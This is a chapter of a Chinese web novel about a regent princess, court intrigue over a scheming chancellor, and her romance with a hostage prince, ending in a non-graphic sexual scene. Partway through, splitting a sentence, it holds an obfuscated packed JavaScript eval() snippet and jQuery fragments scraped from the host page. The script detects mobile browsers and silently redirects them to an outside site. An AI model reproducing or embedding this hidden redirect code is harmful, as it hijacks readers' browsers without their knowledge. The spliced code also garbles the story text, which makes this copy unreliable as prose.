25. 第 25 章
作品:《敌国质子和风评被害的公主》 丰国太子到的那日,云国由余容公主出城迎接,当晚皇宫又举行宴席宴请了丰国使者和太子,宴席依旧由余容公主主持,云国的皇上皇后只露了一下脸便退席了。
丰国使者和太子遂心生不满,觉得云国此举乃鄙视丰国小国,可也不敢明着挑理,便只能忍了,谁叫他们是来求人庇护的。
但其实他们不知,云国皇上这两日是身上的病更重了。
蘅芮虽在替父主持大局,看起来稳重大方,优雅得体,但实则内心焦灼无比。
丰国太子到的前两日,皇上头疾又犯,这一次竟严重到疼得摔倒在地,满地翻滚,还不停敲打自己的头,以至最后不得不由太医喂了一剂能强行令其入睡的药,这才安静下来。
可这么一睡就是一天一夜,再醒来时已虚弱得不行,所以丰国太子的欢迎宴上,皇上完全是硬挺着露了那么一下脸。
皇后就更别提了,本来便郁结于心,这回被皇上一吓更是六神无主,瞧皇上能出席,她才强打精神,也随之露了一下脸。
如此,还有人乱上添乱,第二日皇贵妃非领着蘅芮的那个皇弟说要来侍疾,还嘴里骂骂咧咧说什么看不到皇上,怕蘅芮害了皇上。
好在皇上此次病重前,已将整个皇宫的管控权全交到了蘅芮手中,令蘅芮可以将那对母子关回他们自己宫殿,看管起来,暂时不许外出。
整个后宫,蘅芮也都勒令不许随意行走,近期全老老实实待在自己的地界上,否则便直接下到冷宫。
这下,皇宫里总算安静了。
可前面朝堂,也不安生。
前段时间皇上硬挺着上了几回朝,每次不过龙椅上坐坐便回,然后告诉满朝文武,他近期身体小恙,暂时有事都禀余容公主处置。
大臣们一开始没觉怎样,倒听话的都有事与余容公主商议,因为他们觉得皇上只是身体过于操劳,想歇歇罢了。
但随着时间延长,议论声渐渐四起,求直面皇上的大臣越来越多,蘅芮也越来越压得吃力。
好在丰国太子的欢迎宴皇上露了一下脸,而后又上朝了一次,虽仍只坐坐即离,但也算帮蘅芮稳住了众朝臣。
另外,最大的危机,则是在西南瞿州。
丞相任韶,自瞿州地动,率京畿半数驻军赶赴救灾,至今未归。
在西南,他又拿皇上所赐虎符,控制了西南、西北两地驻军,并在控制后不久,就以赈灾不利为由,先斩西南大军主将,后西北大军主将被其所摄,已全权听命于其。
按理说两地大将不该如此容易被控,但蘅芮父皇在清醒时告诉她,看来那任韶早布局已久,各地军中一定都有他安插之人。
所以,虽然此人面上还未表露,但其心思如何已昭然若揭。
蘅芮在鸿襄提醒她,公主府后来的三个侍卫要注意后,便暗地查了,竟发现他们为任国公的人。
再往深查,果然查得了自己那日在恒辰山遇险,就是其中一人所为。
对方当日在马脚上下了功夫。
虽然不清楚任国公害自己的目的,毕竟她一个公主,也不是皇子,于任韶所谋之事该影响不大,但她很庆幸,对方给自己递了一个辖制任韶的把柄。
蘅芮便叫人围了任家老宅,也将任国公下了狱。
忙乱中,新春将至,大概过年的气氛使然,帝后身体都略有恢复,宫中和朝中也全没了那么重的焦虑,蘅芮终于获得了一丝喘息的机会。
一歇下来,她脑子里就有些想鸿襄。
“婚仪”那日之后,两个人便再没见过,她猜老师大概已经离开云国了吧。
既然思念,何不去瞧瞧?
蘅芮当即换了常服,只带轻灵和几个侍卫,悄然出了宫。
如今她代父掌管大权,已不能如以往那般自在,为防各方势力趁机作乱,便只能微服出行。
到了质子府,蘅芮打发侍卫都留在大门内,自己则带轻灵一路往里。
没走几步,她就遇了急急迎出来的鸿襄。
四目相对,明明没人说话,却好似已倾诉许多。
蘅芮率先上前,她一把拉过鸿襄的手:“走,进去再说。”
鸿襄笑着点头,反手将蘅芮的手全包进自己掌中,牵着她:“好。”
待两人进到屋内,轻灵自觉守在了房门外。
鸿襄一把抱过蘅芮,轻吻她额头:“这阵子很辛苦?”
蘅芮闭上眼睛,放松地趴在他胸口,微微点了点头:“这辈子没这么累心过。”然后她睁开眼,“老师走了?”
鸿襄点头:“这个时候,差不多已经快到云国边界了吧?”
也亏云国国内近段时日事情太多,倒没人注意,虞国质子府中悄无声息地少了三个人。
往日质子府外的监视,都是由新京府派的人,新京府原本都在丞相任韶的控制下,但近日,任韶远在瞿州,不知为何,新京府的官吏从上到下被换了个遍,以至质子府外的监视都松懈了。
吕公便与两名随从,也是护卫他之人,乔装府内采买离府,再在先前姜啸离虞前于新京之中暗设的一处铺面中再换装束,又乔装成陈国客商,拿上假的陈国通关文书,随一队商队顺利出了新京城,后准备借道陈国回到虞国。
陈虞国境,刚好是鸿襄的曾外祖,蔡老将军带蔡家军所守。
因此,只要吕公顺利抵达陈虞国境,他便能安全了。
蘅芮听完鸿襄所述,抬头看他:“那你呢?何时走?”
鸿襄低头亲了亲她鼻尖:“过了年。云国大年夜的宫宴我必须出席,否则会被察觉。现在我倒不怕你们云国追我逮我,毕竟我于你们不过鸡肋,但我怕我逃离云国的消息,会惊动虞国国内那个篡位逆贼。届时,对方一定在我回程的路上拼力截杀。还未与其正面交锋,我不想死得太早……”
蘅芮急忙抬手一捂他嘴:“大过年的,别说不吉利的话!”
鸿襄就势吻了吻她手心:“嗯,好。”然后又问她道,“那个任国公可有交代,他为何要派人害你?”
蘅芮摇摇头:“没有。他嘴严得很,问什么都不说,年纪又大了,我暂且还不敢太动他。毕竟对上任韶,我手里就只这老匹夫一张最得力的牌。”
鸿襄皱眉:“能确定任韶定然要反吗?他似乎尚未有所表示。”
蘅芮再次摇摇头:“不知道。我只知,父皇这段时日每每提起任韶就满心懊悔。他不知不觉中给了对方太大权力,都大到了令人很难不生出野心的地步。也是任家百来年甘当各朝辅臣的历史,让他太过信于对方了。”
鸿襄想了想:“那看来,上一次长公主菊花宴路上你遇刺,应该也不是偶遇了两个什么流窜来的小毛贼,但那一次明显他们目标更像是我……”
“好了好了!”蘅芮打断他,“来你这,本是想喘口气歇一歇的,怎么一来你又问个没完?”
她双手搂住鸿襄的脖子,脸往他怀里一埋,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13357152|139114||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呢喃道:“叫我歇歇。”
鸿襄垂眸看着怀里的人,先低头吻了吻她的发,之后将人一把打横抱起:“去床上睡会儿吧。”
说着,便抱人去了床榻那边。
将蘅芮在床铺间安置好,他回身想去找本书来,就坐到她床边陪着她睡会儿,却未等迈开步子,便□□上的人忽然拉住手臂,又一把拽了回去。
鸿襄身体失去平衡,在跌到蘅芮身上,眼看要压住她时,他手臂撑在了她身侧。
始作俑者却一点自责没有,反而双手搂住鸿襄的脖子,将他往自己身上一按,便叫两人之间彻底没了间隙。
鸿襄含笑看着身下的人,不说话。
蘅芮先咬了咬他的唇,之后吹着气凑到他耳边:“鸿襄,你怎么这么没眼力?难道就看不出,本公主是来找乐子的?还往哪跑?”
她要的歇歇,可是从身到心。
再者,不光鸿襄,如今看来她的前路也是未卜,所以能与他在一起的每一次机会,都很可能是最后一次,她不想浪费。
鸿襄忽然笑了,脸埋在蘅芮颈间,笑声闷闷传进蘅芮的耳中。
蘅芮微恼,侧过脸一口咬在鸿襄的脸颊,可没等她用力,就被略抬起头的对方狠狠噙住了薄唇。
屋子外时节已近隆冬,屋子内却暖如盛夏,不仅是那盆银霜炭的威力,更有床榻上将这一日如最后一日般纠缠的两个人。
像是谁也不服输,往日他们校场上练剑的那股力气都使了出来。
蘅芮不满自己总处于下风,硬是翻到了鸿襄上面。
鸿襄的笑声又起。
蘅芮用力捶了锤他胸口:“笑什么笑?不许笑!”
鸿襄也不答,只双手握住她腰身,扶她坐好,之后忽然使力,便叫她再凶不起来……
也不知过了多久,窗外的残阳已西斜,最后消失在廊檐下,如钩的月牙渐渐挂于中天。
屋子里,尚未点烛,只有稍许银白月色透过窗子洒入。
床榻上,力竭的两人除了呼吸,终于不再有其他动静。
好半晌儿,房门被人从屋外敲响。
咚咚咚——
“公主,咱们该回宫了。”是轻灵。
鸿襄突然再次抱紧蘅芮:“回去后一定记得,无论何时都先保重自己!还有,尽量稳住所有消息,任韶不真的反了,你们从新京这边就不要露此口风,以防陈国和虞国见有机可乘就趁虚而入。
“虞国倒没什么,那个逆贼并不掌握虞国全部军力,最多在边境给你们捣些乱罢了。待我回去,他很快将自顾不暇。但陈国,其实力不容小觑,一旦入侵,哪怕吃不下整个云国,也将狠狠啃你们一口。
“所以,芮儿,如果可以,当任韶回来时,先稳住任韶,云国不乱,便无其他国敢来犯。时局能拖就拖,你父皇也是一代有为皇上,云国上下无不敬之,任韶一时还难以取代,估摸这也是他一直耗在瞿州,始终都不敢率军归京的原因之一。他好像在等一个什么时机的样子。
“因此,芮儿,为今最迫切之事,便是尽快养回你父皇的身体,他才年近半百,还远未到力有不逮之时,想来也只一时抱恙而已。懂了吗?”
蘅芮静静听着,最后她抱紧他:“嗯。别只紧张我,你也凡事小心。总之,记住,我等着你来接我!不然待我和亲去陈国,就给你戴一辈子的绿帽……”
唇再次被噙住,对方很用力,都给咬破,蘅芮却笑得停不下来。